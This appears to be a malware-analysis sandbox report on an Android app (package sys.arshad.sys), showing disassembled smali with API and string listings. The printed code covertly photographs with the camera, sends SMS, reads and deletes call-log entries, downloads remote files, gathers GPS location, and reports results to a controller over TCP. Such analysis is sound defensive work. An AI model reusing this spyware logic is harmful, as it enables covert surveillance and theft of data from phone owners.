58goto/16 :goto_23
59catch_4e: move-exception v0
60cond_4f:
61sget-object v0, Ljava/lang/System;->out:Ljava/io/PrintStream;
62new-instance v2, Ljava/lang/StringBuilder;
64invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
66invoke-virtual {v1}, Ljava/lang/StringBuffer;->toString()Ljava/lang/String;
67move-result-object v3
69invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
70move-result-object v2
72const-string v3, "<<<<<<<<<<<<<<"
74invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: <<<<<<<<<<<<<<
75move-result-object v2
77invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
78move-result-object v2
80invoke-virtual {v0, v2}, Ljava/io/PrintStream;->println(Ljava/lang/String;)V
82iget-object v0, p0, Lsys/arshad/sys/MainActivity$8;->a:Lsys/arshad/sys/MainActivity;
83new-instance v2, Ljava/lang/StringBuilder;
85invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
87const-string v3, "B22:::"
89invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: B22:::
90move-result-object v2
92invoke-virtual {v1}, Ljava/lang/StringBuffer;->toString()Ljava/lang/String;
93move-result-object v1
95invoke-virtual {v2, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
96move-result-object v1
98const-string v2, "[(0)tcp]"
100invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: [(0)tcp]
101move-result-object v1
103iget-object v2, p0, Lsys/arshad/sys/MainActivity$8;->a:Lsys/arshad/sys/MainActivity;
105iget-object v2, v2, Lsys/arshad/sys/MainActivity;->i:Ljava/lang/String;
107invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
108move-result-object v1
110invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
111move-result-object v1
113invoke-virtual {v0, v1}, Lsys/arshad/sys/MainActivity;->e(Ljava/lang/String;)V
114return-void
APIs
  • sys.arshad.sys.PhotoTakingService.a
  • java.io.PrintStream.println
  • sys.arshad.sys.PhotoTakingService.a
  • android.hardware.Camera.release
  • sys.arshad.sys.PhotoTakingService.b
  • android.hardware.Camera.open
  • sys.arshad.sys.PhotoTakingService.a
  • android.hardware.Camera.setPreviewDisplay
  • sys.arshad.sys.PhotoTakingService.a
  • android.hardware.Camera.startPreview
  • android.os.SystemClock.sleep
  • sys.arshad.sys.PhotoTakingService.a
  • android.hardware.Camera.takePicture
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.Exception.toString
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • java.io.PrintStream.println
  • sys.arshad.sys.PhotoTakingService.a
  • android.hardware.Camera.release
  • java.io.PrintStream.println
  • android.content.Intent.<init>
  • sys.arshad.sys.PhotoTakingService.stopService
Strings
  • EO---->3
  • EO---->1
  • EO---->0
Position Instruction Meta Information
0try_start_0:
1iget-object v0, p0, Lsys/arshad/sys/PhotoTakingService$1$1;->b:Lsys/arshad/sys/PhotoTakingService$1;
3iget-object v0, v0, Lsys/arshad/sys/PhotoTakingService$1;->a:Lsys/arshad/sys/PhotoTakingService;
5invoke-static {v0}, Lsys/arshad/sys/PhotoTakingService;->a(Lsys/arshad/sys/PhotoTakingService;)Landroid/hardware/Camera;
6move-result-object v0
7if-eqz v0, :cond_1c
9sget-object v0, Ljava/lang/System;->out:Ljava/io/PrintStream;
11const-string v1, "EO---->3"
13invoke-virtual {v0, v1}, Ljava/io/PrintStream;->println(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: EO---->3
15iget-object v0, p0, Lsys/arshad/sys/PhotoTakingService$1$1;->b:Lsys/arshad/sys/PhotoTakingService$1;
17iget-object v0, v0, Lsys/arshad/sys/PhotoTakingService$1;->a:Lsys/arshad/sys/PhotoTakingService;
19invoke-static {v0}, Lsys/arshad/sys/PhotoTakingService;->a(Lsys/arshad/sys/PhotoTakingService;)Landroid/hardware/Camera;
20move-result-object v0
22invoke-virtual {v0}, Landroid/hardware/Camera;->release()V
23cond_1c:
24iget-object v0, p0, Lsys/arshad/sys/PhotoTakingService$1$1;->b:Lsys/arshad/sys/PhotoTakingService$1;
26iget-object v0, v0, Lsys/arshad/sys/PhotoTakingService$1;->a:Lsys/arshad/sys/PhotoTakingService;
28iget-object v1, p0, Lsys/arshad/sys/PhotoTakingService$1$1;->b:Lsys/arshad/sys/PhotoTakingService$1;
30iget-object v1, v1, Lsys/arshad/sys/PhotoTakingService$1;->a:Lsys/arshad/sys/PhotoTakingService;
32invoke-static {v1}, Lsys/arshad/sys/PhotoTakingService;->b(Lsys/arshad/sys/PhotoTakingService;)I
33move-result v1
35invoke-static {v1}, Landroid/hardware/Camera;->open(I)Landroid/hardware/Camera;
36move-result-object v1
38invoke-static {v0, v1}, Lsys/arshad/sys/PhotoTakingService;->a(Lsys/arshad/sys/PhotoTakingService;Landroid/hardware/Camera;)Landroid/hardware/Camera;
40iget-object v0, p0, Lsys/arshad/sys/PhotoTakingService$1$1;->b:Lsys/arshad/sys/PhotoTakingService$1;
42iget-object v0, v0, Lsys/arshad/sys/PhotoTakingService$1;->a:Lsys/arshad/sys/PhotoTakingService;
44invoke-static {v0}, Lsys/arshad/sys/PhotoTakingService;->a(Lsys/arshad/sys/PhotoTakingService;)Landroid/hardware/Camera;
45move-result-object v0
47iget-object v1, p0, Lsys/arshad/sys/PhotoTakingService$1$1;->a:Landroid/view/SurfaceHolder;
49invoke-virtual {v0, v1}, Landroid/hardware/Camera;->setPreviewDisplay(Landroid/view/SurfaceHolder;)V
51iget-object v0, p0, Lsys/arshad/sys/PhotoTakingService$1$1;->b:Lsys/arshad/sys/PhotoTakingService$1;
53iget-object v0, v0, Lsys/arshad/sys/PhotoTakingService$1;->a:Lsys/arshad/sys/PhotoTakingService;
55invoke-static {v0}, Lsys/arshad/sys/PhotoTakingService;->a(Lsys/arshad/sys/PhotoTakingService;)Landroid/hardware/Camera;
56move-result-object v0
58invoke-virtual {v0}, Landroid/hardware/Camera;->startPreview()V
59const-wide/16 v0, 0x1f4
61invoke-static {v0, v1}, Landroid/os/SystemClock;->sleep(J)V
  • Data flow analysis:
    • p0: 500
63iget-object v0, p0, Lsys/arshad/sys/PhotoTakingService$1$1;->b:Lsys/arshad/sys/PhotoTakingService$1;
65iget-object v0, v0, Lsys/arshad/sys/PhotoTakingService$1;->a:Lsys/arshad/sys/PhotoTakingService;
67invoke-static {v0}, Lsys/arshad/sys/PhotoTakingService;->a(Lsys/arshad/sys/PhotoTakingService;)Landroid/hardware/Camera;
68move-result-object v0
69const/4 v1, 0x0
70const/4 v2, 0x0
71new-instance v3, Lsys/arshad/sys/PhotoTakingService$1$1$1;
73invoke-direct {v3, p0}, Lsys/arshad/sys/PhotoTakingService$1$1$1;-><init>(Lsys/arshad/sys/PhotoTakingService$1$1;)V
75invoke-virtual {v0, v1, v2, v3}, Landroid/hardware/Camera;->takePicture(Landroid/hardware/Camera$ShutterCallback;Landroid/hardware/Camera$PictureCallback;Landroid/hardware/Camera$PictureCallback;)V
  • Data flow analysis:
    • p0: 0
    • p1: 0
76try_end_5e: return-void
77catch_5f: move-exception v0
79sget-object v1, Ljava/lang/System;->out:Ljava/io/PrintStream;
80new-instance v2, Ljava/lang/StringBuilder;
82invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
84const-string v3, "EO---->1"
86invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: EO---->1
87move-result-object v2
89invoke-virtual {v0}, Ljava/lang/Exception;->toString()Ljava/lang/String;
90move-result-object v0
92invoke-virtual {v2, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
93move-result-object v0
95invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
96move-result-object v0
98invoke-virtual {v1, v0}, Ljava/io/PrintStream;->println(Ljava/lang/String;)V
100iget-object v0, p0, Lsys/arshad/sys/PhotoTakingService$1$1;->b:Lsys/arshad/sys/PhotoTakingService$1;
102iget-object v0, v0, Lsys/arshad/sys/PhotoTakingService$1;->a:Lsys/arshad/sys/PhotoTakingService;
104invoke-static {v0}, Lsys/arshad/sys/PhotoTakingService;->a(Lsys/arshad/sys/PhotoTakingService;)Landroid/hardware/Camera;
105move-result-object v0
106if-eqz v0, :cond_98
108iget-object v0, p0, Lsys/arshad/sys/PhotoTakingService$1$1;->b:Lsys/arshad/sys/PhotoTakingService$1;
110iget-object v0, v0, Lsys/arshad/sys/PhotoTakingService$1;->a:Lsys/arshad/sys/PhotoTakingService;
112invoke-static {v0}, Lsys/arshad/sys/PhotoTakingService;->a(Lsys/arshad/sys/PhotoTakingService;)Landroid/hardware/Camera;
113move-result-object v0
115invoke-virtual {v0}, Landroid/hardware/Camera;->release()V
117sget-object v0, Ljava/lang/System;->out:Ljava/io/PrintStream;
119const-string v1, "EO---->0"
121invoke-virtual {v0, v1}, Ljava/io/PrintStream;->println(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: EO---->0
122cond_98:
123iget-object v0, p0, Lsys/arshad/sys/PhotoTakingService$1$1;->b:Lsys/arshad/sys/PhotoTakingService$1;
125iget-object v0, v0, Lsys/arshad/sys/PhotoTakingService$1;->a:Lsys/arshad/sys/PhotoTakingService;
126new-instance v1, Landroid/content/Intent;
128iget-object v2, p0, Lsys/arshad/sys/PhotoTakingService$1$1;->b:Lsys/arshad/sys/PhotoTakingService$1;
130iget-object v2, v2, Lsys/arshad/sys/PhotoTakingService$1;->a:Lsys/arshad/sys/PhotoTakingService;
131const-class v3, Lsys/arshad/sys/PhotoTakingService;
133invoke-direct {v1, v2, v3}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
135invoke-virtual {v0, v1}, Lsys/arshad/sys/PhotoTakingService;->stopService(Landroid/content/Intent;)Z
136goto/16 :goto_5e
APIs
  • sys.arshad.sys.MainActivity.g
  • sys.arshad.sys.MainActivity.y
  • java.lang.String.replace
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • sys.arshad.sys.MainActivity.e
Strings
  • \n
  • {screamHacker}
  • Wrong >
  • B7:::
  • [(0)tcp]
Position Instruction Meta Information
0try_start_0:
1iget-object v1, p0, Lsys/arshad/sys/MainActivity$b$40;->a:Ljava/lang/String;
2new-instance v0, Lsys/arshad/sys/a;
4invoke-direct {v0}, Lsys/arshad/sys/a;-><init>()V
6iget-object v2, p0, Lsys/arshad/sys/MainActivity$b$40;->b:Lsys/arshad/sys/MainActivity$b;
8iget-object v2, v2, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
10invoke-static {v2, v1}, Lsys/arshad/sys/MainActivity;->g(Lsys/arshad/sys/MainActivity;Ljava/lang/String;)Ljava/lang/String;
12iget-object v2, p0, Lsys/arshad/sys/MainActivity$b$40;->b:Lsys/arshad/sys/MainActivity$b;
14iget-object v2, v2, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
16invoke-static {v2}, Lsys/arshad/sys/MainActivity;->y(Lsys/arshad/sys/MainActivity;)Ljava/lang/String;
17move-result-object v2
19invoke-virtual {v0, v2}, Lsys/arshad/sys/a;->a(Ljava/lang/String;)Ljava/lang/String;
20move-result-object v0
22const-string v2, "\n"
24const-string v3, "{screamHacker}"
26invoke-virtual {v0, v2, v3}, Ljava/lang/String;->replace(Ljava/lang/CharSequence;Ljava/lang/CharSequence;)Ljava/lang/String;
  • Data flow analysis:
    • p0: \n
    • p1: {screamHacker}
27move-result-object v0
29const-string v2, ""
30if-ne v0, v2, :cond_39
31new-instance v0, Ljava/lang/StringBuilder;
33invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
35const-string v2, " Wrong > "
37invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: Wrong >
38move-result-object v0
40invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
41move-result-object v0
43invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
44move-result-object v0
45cond_39:
46iget-object v1, p0, Lsys/arshad/sys/MainActivity$b$40;->b:Lsys/arshad/sys/MainActivity$b;
48iget-object v1, v1, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
49new-instance v2, Ljava/lang/StringBuilder;
51invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
53const-string v3, "B7:::"
55invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: B7:::
56move-result-object v2
58invoke-virtual {v2, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
59move-result-object v0
61const-string v2, "[(0)tcp]"
63invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: [(0)tcp]
64move-result-object v0
66iget-object v2, p0, Lsys/arshad/sys/MainActivity$b$40;->b:Lsys/arshad/sys/MainActivity$b;
68iget-object v2, v2, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
70iget-object v2, v2, Lsys/arshad/sys/MainActivity;->h:Ljava/lang/String;
72invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
73move-result-object v0
75invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
76move-result-object v0
78invoke-virtual {v1, v0}, Lsys/arshad/sys/MainActivity;->e(Ljava/lang/String;)V
79try_end_63: return-void
80catch_64: move-exception v0
81goto/16 :goto_63
APIs
  • android.content.Intent.<init>
  • sys.arshad.sys.MainActivity.getApplicationContext
  • android.app.PendingIntent.getBroadcast
  • android.content.Intent.<init>
  • sys.arshad.sys.MainActivity.getApplicationContext
  • android.app.PendingIntent.getBroadcast
  • sys.arshad.sys.MainActivity$b$16$1.<init>
  • android.content.IntentFilter.<init>
  • sys.arshad.sys.MainActivity.registerReceiver
  • sys.arshad.sys.MainActivity$b$16$2.<init>
  • android.content.IntentFilter.<init>
  • sys.arshad.sys.MainActivity.registerReceiver
  • android.telephony.SmsManager.getDefault
  • android.telephony.SmsManager.sendTextMessage
  • java.lang.Exception.printStackTrace
Strings
  • sent
  • delivered
Position Instruction Meta Information
1iget-object v1, p0, Lsys/arshad/sys/MainActivity$b$16;->a:Ljava/lang/String;
3iget-object v3, p0, Lsys/arshad/sys/MainActivity$b$16;->b:Ljava/lang/String;
4try_start_4:
5const-string v0, "sent"
7const-string v2, "delivered"
8new-instance v4, Landroid/content/Intent;
10invoke-direct {v4, v0}, Landroid/content/Intent;-><init>(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: sent
12iget-object v5, p0, Lsys/arshad/sys/MainActivity$b$16;->c:Lsys/arshad/sys/MainActivity$b;
14iget-object v5, v5, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
16invoke-virtual {v5}, Lsys/arshad/sys/MainActivity;->getApplicationContext()Landroid/content/Context;
17move-result-object v5
18const/4 v6, 0x0
19const/high16 v7, 0x8000000
21invoke-static {v5, v6, v4, v7}, Landroid/app/PendingIntent;->getBroadcast(Landroid/content/Context;ILandroid/content/Intent;I)Landroid/app/PendingIntent;
  • Data flow analysis:
    • requestCode: 0
    • flags: 134217728
22move-result-object v4
23new-instance v5, Landroid/content/Intent;
25invoke-direct {v5, v2}, Landroid/content/Intent;-><init>(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: delivered
27iget-object v6, p0, Lsys/arshad/sys/MainActivity$b$16;->c:Lsys/arshad/sys/MainActivity$b;
29iget-object v6, v6, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
31invoke-virtual {v6}, Lsys/arshad/sys/MainActivity;->getApplicationContext()Landroid/content/Context;
32move-result-object v6
33const/4 v7, 0x0
34const/high16 v8, 0x8000000
36invoke-static {v6, v7, v5, v8}, Landroid/app/PendingIntent;->getBroadcast(Landroid/content/Context;ILandroid/content/Intent;I)Landroid/app/PendingIntent;
  • Data flow analysis:
    • requestCode: 0
    • flags: 134217728
37move-result-object v5
39iget-object v6, p0, Lsys/arshad/sys/MainActivity$b$16;->c:Lsys/arshad/sys/MainActivity$b;
41iget-object v6, v6, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
42new-instance v7, Lsys/arshad/sys/MainActivity$b$16$1;
44invoke-direct {v7, p0}, Lsys/arshad/sys/MainActivity$b$16$1;-><init>(Lsys/arshad/sys/MainActivity$b$16;)V
45new-instance v8, Landroid/content/IntentFilter;
47invoke-direct {v8, v0}, Landroid/content/IntentFilter;-><init>(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: sent
49invoke-virtual {v6, v7, v8}, Lsys/arshad/sys/MainActivity;->registerReceiver(Landroid/content/BroadcastReceiver;Landroid/content/IntentFilter;)Landroid/content/Intent;
51iget-object v0, p0, Lsys/arshad/sys/MainActivity$b$16;->c:Lsys/arshad/sys/MainActivity$b;
53iget-object v0, v0, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
54new-instance v6, Lsys/arshad/sys/MainActivity$b$16$2;
56invoke-direct {v6, p0}, Lsys/arshad/sys/MainActivity$b$16$2;-><init>(Lsys/arshad/sys/MainActivity$b$16;)V
57new-instance v7, Landroid/content/IntentFilter;
59invoke-direct {v7, v2}, Landroid/content/IntentFilter;-><init>(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: delivered
61invoke-virtual {v0, v6, v7}, Lsys/arshad/sys/MainActivity;->registerReceiver(Landroid/content/BroadcastReceiver;Landroid/content/IntentFilter;)Landroid/content/Intent;
63invoke-static {}, Landroid/telephony/SmsManager;->getDefault()Landroid/telephony/SmsManager;
64move-result-object v0
65const/4 v2, 0x0
67invoke-virtual/range {v0 .. v5}, Landroid/telephony/SmsManager;->sendTextMessage(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Landroid/app/PendingIntent;Landroid/app/PendingIntent;)V
  • Data flow analysis:
    • p1: 0
68goto_5a: return-void
69catch_5b: move-exception v0
71invoke-virtual {v0}, Ljava/lang/Exception;->printStackTrace()V
72goto/16 :goto_5a
APIs
  • sys.arshad.sys.MainActivity.getApplicationContext
  • android.support.v4.a.a.a
  • sys.arshad.sys.MainActivity.getApplicationContext
  • android.content.Context.getContentResolver
  • android.content.ContentResolver.query
  • android.database.Cursor.moveToFirst
  • android.database.Cursor.getColumnIndex
  • android.database.Cursor.getInt
  • sys.arshad.sys.MainActivity.getApplicationContext
  • android.content.Context.getContentResolver
  • java.lang.String.valueOf
  • android.content.ContentResolver.delete
Strings
  • android.permission.READ_CALL_LOG
  • number = ?
  • date DESC
  • _id
  • _id = ?
Position Instruction Meta Information
0const/4 v0, 0x1
1try_start_1: new-array v4, v0, [Ljava/lang/String;
2const/4 v0, 0x0
4iget-object v1, p0, Lsys/arshad/sys/MainActivity$19;->a:Ljava/lang/String;
5aput-object v1, v4, v0
7iget-object v0, p0, Lsys/arshad/sys/MainActivity$19;->b:Lsys/arshad/sys/MainActivity;
9invoke-virtual {v0}, Lsys/arshad/sys/MainActivity;->getApplicationContext()Landroid/content/Context;
10move-result-object v0
12const-string v1, "android.permission.READ_CALL_LOG"
14invoke-static {v0, v1}, Landroid/support/v4/a/a;->a(Landroid/content/Context;Ljava/lang/String;)I
  • Data flow analysis:
    • p1: android.permission.READ_CALL_LOG
15move-result v0
16if-eqz v0, :cond_17
17cond_16: return-void
18cond_17:
19iget-object v0, p0, Lsys/arshad/sys/MainActivity$19;->b:Lsys/arshad/sys/MainActivity;
21invoke-virtual {v0}, Lsys/arshad/sys/MainActivity;->getApplicationContext()Landroid/content/Context;
22move-result-object v0
24invoke-virtual {v0}, Landroid/content/Context;->getContentResolver()Landroid/content/ContentResolver;
25move-result-object v0
27sget-object v1, Landroid/provider/CallLog$Calls;->CONTENT_URI:Landroid/net/Uri;
28const/4 v2, 0x0
30const-string v3, "number = ? "
32const-string v5, "date DESC"
34invoke-virtual/range {v0 .. v5}, Landroid/content/ContentResolver;->query(Landroid/net/Uri;[Ljava/lang/String;Ljava/lang/String;[Ljava/lang/String;Ljava/lang/String;)Landroid/database/Cursor;
  • Data flow analysis:
    • p1: 0
    • p2: number = ?
    • p4: date DESC
35move-result-object v0
37invoke-interface {v0}, Landroid/database/Cursor;->moveToFirst()Z
38move-result v1
39if-eqz v1, :cond_16
41const-string v1, "_id"
43invoke-interface {v0, v1}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
  • Data flow analysis:
    • p0: _id
44move-result v1
46invoke-interface {v0, v1}, Landroid/database/Cursor;->getInt(I)I
47move-result v0
49iget-object v1, p0, Lsys/arshad/sys/MainActivity$19;->b:Lsys/arshad/sys/MainActivity;
51invoke-virtual {v1}, Lsys/arshad/sys/MainActivity;->getApplicationContext()Landroid/content/Context;
52move-result-object v1
54invoke-virtual {v1}, Landroid/content/Context;->getContentResolver()Landroid/content/ContentResolver;
55move-result-object v1
57sget-object v2, Landroid/provider/CallLog$Calls;->CONTENT_URI:Landroid/net/Uri;
59const-string v3, "_id = ? "
60const/4 v4, 0x1
61new-array v4, v4, [Ljava/lang/String;
62const/4 v5, 0x0
64invoke-static {v0}, Ljava/lang/String;->valueOf(I)Ljava/lang/String;
65move-result-object v0
66aput-object v0, v4, v5
68invoke-virtual {v1, v2, v3, v4}, Landroid/content/ContentResolver;->delete(Landroid/net/Uri;Ljava/lang/String;[Ljava/lang/String;)I
  • Data flow analysis:
    • where: _id = ?
69try_end_57: goto/16 :goto_16
70catch_58: move-exception v0
71goto/16 :goto_16
APIs
  • java.io.File.<init>
  • java.io.File.exists
  • java.io.File.mkdirs
  • java.lang.String.replace
  • sys.arshad.sys.MainActivity.getApplicationContext
  • android.content.Context.getSystemService
  • android.net.Uri.parse
  • android.app.DownloadManager$Request.<init>
  • android.app.DownloadManager$Request.setAllowedNetworkTypes
  • android.app.DownloadManager$Request.setAllowedOverRoaming
  • android.app.DownloadManager$Request.setTitle
  • android.app.DownloadManager$Request.setDescription
  • android.app.DownloadManager$Request.setDestinationInExternalPublicDir
  • android.app.DownloadManager.enqueue
Strings
  • |H|L|
  • :
  • download
Position Instruction Meta Information
0try_start_0: sget v0, Landroid/os/Build$VERSION;->SDK_INT:I
1const/16 v1, 0x9
2if-lt v0, v1, :cond_57
3new-instance v0, Ljava/io/File;
5iget-object v1, p0, Lsys/arshad/sys/MainActivity$4;->a:Ljava/lang/String;
7invoke-direct {v0, v1}, Ljava/io/File;-><init>(Ljava/lang/String;)V
9invoke-virtual {v0}, Ljava/io/File;->exists()Z
10move-result v1
11if-nez v1, :cond_16
13invoke-virtual {v0}, Ljava/io/File;->mkdirs()Z
14cond_16:
15iget-object v0, p0, Lsys/arshad/sys/MainActivity$4;->b:Ljava/lang/String;
17const-string v1, "|H|L|"
19const-string v2, ":"
21invoke-virtual {v0, v1, v2}, Ljava/lang/String;->replace(Ljava/lang/CharSequence;Ljava/lang/CharSequence;)Ljava/lang/String;
  • Data flow analysis:
    • p0: |H|L|
    • p1: :
22move-result-object v1
24iget-object v0, p0, Lsys/arshad/sys/MainActivity$4;->g:Lsys/arshad/sys/MainActivity;
26invoke-virtual {v0}, Lsys/arshad/sys/MainActivity;->getApplicationContext()Landroid/content/Context;
27move-result-object v0
29const-string v2, "download"
31invoke-virtual {v0, v2}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
  • Data flow analysis:
    • name: download
32move-result-object v0
33check-cast v0, Landroid/app/DownloadManager;
35invoke-static {v1}, Landroid/net/Uri;->parse(Ljava/lang/String;)Landroid/net/Uri;
36move-result-object v1
37new-instance v2, Landroid/app/DownloadManager$Request;
39invoke-direct {v2, v1}, Landroid/app/DownloadManager$Request;-><init>(Landroid/net/Uri;)V
40const/4 v1, 0x3
42invoke-virtual {v2, v1}, Landroid/app/DownloadManager$Request;->setAllowedNetworkTypes(I)Landroid/app/DownloadManager$Request;
  • Data flow analysis:
    • p0: 3
43move-result-object v1
44const/4 v3, 0x0
46invoke-virtual {v1, v3}, Landroid/app/DownloadManager$Request;->setAllowedOverRoaming(Z)Landroid/app/DownloadManager$Request;
  • Data flow analysis:
    • p0: 0
47move-result-object v1
49iget-object v3, p0, Lsys/arshad/sys/MainActivity$4;->c:Ljava/lang/String;
51invoke-virtual {v1, v3}, Landroid/app/DownloadManager$Request;->setTitle(Ljava/lang/CharSequence;)Landroid/app/DownloadManager$Request;
52move-result-object v1
54iget-object v3, p0, Lsys/arshad/sys/MainActivity$4;->d:Ljava/lang/String;
56invoke-virtual {v1, v3}, Landroid/app/DownloadManager$Request;->setDescription(Ljava/lang/CharSequence;)Landroid/app/DownloadManager$Request;
57move-result-object v1
59iget-object v3, p0, Lsys/arshad/sys/MainActivity$4;->e:Ljava/lang/String;
61iget-object v4, p0, Lsys/arshad/sys/MainActivity$4;->f:Ljava/lang/String;
63invoke-virtual {v1, v3, v4}, Landroid/app/DownloadManager$Request;->setDestinationInExternalPublicDir(Ljava/lang/String;Ljava/lang/String;)Landroid/app/DownloadManager$Request;
65invoke-virtual {v0, v2}, Landroid/app/DownloadManager;->enqueue(Landroid/app/DownloadManager$Request;)J
66try_end_57: return-void
67catch_58: move-exception v0
68goto/16 :goto_57
APIs
  • android.location.Location.getLongitude
  • android.location.Location.getLatitude
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • sys.arshad.sys.MainActivity.e
Strings
  • GetGPS(scr|eam)
  • B4:::
  • ,
  • [(0)tcp]
  • s
Position Instruction Meta Information
1iget-object v0, p0, Lsys/arshad/sys/MainActivity$18;->a:Lsys/arshad/sys/MainActivity;
3invoke-virtual {p1}, Landroid/location/Location;->getLongitude()D
4move-result-wide v2
5iput-wide v2, v0, Lsys/arshad/sys/MainActivity;->z:D
7iget-object v0, p0, Lsys/arshad/sys/MainActivity$18;->a:Lsys/arshad/sys/MainActivity;
9invoke-virtual {p1}, Landroid/location/Location;->getLatitude()D
10move-result-wide v2
11iput-wide v2, v0, Lsys/arshad/sys/MainActivity;->y:D
13iget-object v0, p0, Lsys/arshad/sys/MainActivity$18;->a:Lsys/arshad/sys/MainActivity;
15iget-object v0, v0, Lsys/arshad/sys/MainActivity;->C:Ljava/lang/String;
17const-string v1, "GetGPS(scr|eam)"
18if-ne v0, v1, :cond_56
20iget-object v0, p0, Lsys/arshad/sys/MainActivity$18;->a:Lsys/arshad/sys/MainActivity;
21new-instance v1, Ljava/lang/StringBuilder;
23invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
25const-string v2, "B4:::"
27invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: B4:::
28move-result-object v1
30iget-object v2, p0, Lsys/arshad/sys/MainActivity$18;->a:Lsys/arshad/sys/MainActivity;
31iget-wide v2, v2, Lsys/arshad/sys/MainActivity;->y:D
33invoke-virtual {v1, v2, v3}, Ljava/lang/StringBuilder;->append(D)Ljava/lang/StringBuilder;
34move-result-object v1
36const-string v2, ","
38invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: ,
39move-result-object v1
41iget-object v2, p0, Lsys/arshad/sys/MainActivity$18;->a:Lsys/arshad/sys/MainActivity;
42iget-wide v2, v2, Lsys/arshad/sys/MainActivity;->z:D
44invoke-virtual {v1, v2, v3}, Ljava/lang/StringBuilder;->append(D)Ljava/lang/StringBuilder;
45move-result-object v1
47const-string v2, "[(0)tcp]"
49invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: [(0)tcp]
50move-result-object v1
52iget-object v2, p0, Lsys/arshad/sys/MainActivity$18;->a:Lsys/arshad/sys/MainActivity;
54iget-object v2, v2, Lsys/arshad/sys/MainActivity;->h:Ljava/lang/String;
56invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
57move-result-object v1
59invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
60move-result-object v1
62invoke-virtual {v0, v1}, Lsys/arshad/sys/MainActivity;->e(Ljava/lang/String;)V
64iget-object v0, p0, Lsys/arshad/sys/MainActivity$18;->a:Lsys/arshad/sys/MainActivity;
66const-string v1, "s"
67iput-object v1, v0, Lsys/arshad/sys/MainActivity;->C:Ljava/lang/String;
68cond_56: return-void
Cross References
APIs
  • java.lang.StringBuffer.<init>
  • java.lang.Runtime.getRuntime
  • java.lang.Runtime.exec
  • java.lang.Process.waitFor
  • java.lang.Process.getInputStream
